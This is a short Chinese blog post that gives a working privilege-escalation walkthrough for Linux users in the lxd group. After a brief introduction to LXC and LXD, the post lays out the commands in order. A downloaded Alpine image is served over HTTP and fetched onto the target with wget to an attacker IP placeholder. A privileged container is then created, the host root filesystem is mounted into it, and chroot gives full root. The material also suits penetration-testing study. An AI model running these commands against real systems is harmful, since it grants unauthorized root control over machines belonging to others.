lxd组的提权方法

以普通用户进入目标机后,id,发现存在lxd组别,可使用一下提权方法

 

漏洞介绍

LXD是一个root进程,它负责执行任意用户的LXD UNIX套接字写入访问操作。而且在某些情况下,LXD甚至都不会调用它的用户权限进行检查和匹配,本文就是讨论这种攻击方式。

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

原理介绍

用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权。

 

操作

1.在本地机上下载lxd的镜像模板文件

https://github.com/saghul/lxd-alpine-builder.git

cd到其目录下,开启httpserver

python -m http.server 8080

 

2.在目标机上wget镜像模板

wget your_ip:8080/alpine-v3.12-x86_64-20200902_1515.tar.gz

在以镜像模板创建容器之前先初始化lxd比较好

不然可能没有存储池storage pool

lxd init
lxd初始化,一路回车默认回车就行
lxc image import alpine-v3.12-x86_64-20200902_1515.tar.gz --alias  image_name

 

3.通过容器提权

lxc init image_name ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

即可成为root

执行chroot  /mnt/root可获得root的全部权限

原理

lxd组用户可以以任意镜像创建容器,并将当前系统根目录挂载到已创建容器的mnt目录下,/mnt/root/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限。

 

posted @ 2023-01-31 14:45  野荷  阅读(163)  评论(0编辑  收藏  举报